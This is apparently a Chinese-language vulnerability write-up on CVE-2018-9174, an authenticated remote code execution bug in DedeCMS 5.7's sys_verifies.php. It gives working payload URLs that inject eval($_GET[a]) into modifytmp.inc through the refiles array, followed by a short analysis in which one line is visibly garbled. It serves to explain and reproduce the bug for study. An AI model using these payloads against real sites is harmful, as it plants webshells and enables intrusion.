dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)
dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)
漏洞描述:
DesdevDedeCMS5.7版本中的sys_verifies.php文件存在安全漏洞,该漏洞源于攻击者可控制modifytmp.inc文件的内容,远程攻击者可借助‘refiles’数组参数利用该漏洞执行任意的PHP代码
影响版本:
DesdevDedeCMS 5.7版本
漏洞复现:
下载DesdevDedeCMS5.7版本安装包,解压,创建数据库,如果想降低安装难度,可以使用phpstudy等
构造paylaod :sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=%22;eval($_GET[a]);die();// ,然后拼接在url后执行
PS:本漏洞需要登陆
然后再构造payload并执行:sys_verifies.php?action=down&a=phpinfo();
也可以直接 sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\";phpinfo();die();//
漏洞复现成功
漏洞分析:
首先,可以查看sys_verifies.php 存在该漏洞的代码点,如下图
首先,action会获取传入的refiles数组,并保存为data目录下 modifytmp.inc,如下图所示
在 f i l e n a m e = s u b s t r ( filename = substr( filename=substr(filename,3,strlen($filename)-3); 处会截取前三位与后三位中间的内容,所以可以借此构造payload,闭合前面的内容并添加恶意代码,且此处并没有有效代码检查
在payload中 refiles[1]=%22;eval($_GET[a]);die();// %22; 是为了闭合上图中 $files[1] = " 从而写入恶意代码
修复建议:
升级更新以修复漏洞